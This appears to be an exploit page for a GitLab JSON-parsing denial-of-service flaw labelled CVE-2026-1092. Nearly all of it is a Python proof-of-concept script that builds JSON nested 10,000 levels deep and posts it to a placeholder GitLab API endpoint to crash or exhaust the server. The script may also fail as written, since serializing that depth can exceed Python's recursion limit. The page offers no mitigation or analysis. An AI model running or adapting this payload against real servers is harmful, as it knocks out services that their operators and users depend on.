CVE-2026-1092 GitLab JSON解析拒绝服务漏洞

import requests import json target_url = "http://<gitlab-target>/api/v4/session" # Example endpoint # Generate a malicious JSON payload (Conceptual: Deep Nesting) # This simulates an input validation issue causing stack overflow or high CPU usage. data = {} current = data for _ in range(10000): current["key"] = {} current = current["key"] current["final"] = "trigger_crash" headers = { "Content-Type": "application/json" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, headers=headers, data=json.dumps(data), timeout=10) print(f"Status Code: {response.status_code}") except Exception as e: print(f"Request failed or server unresponsive: {e}")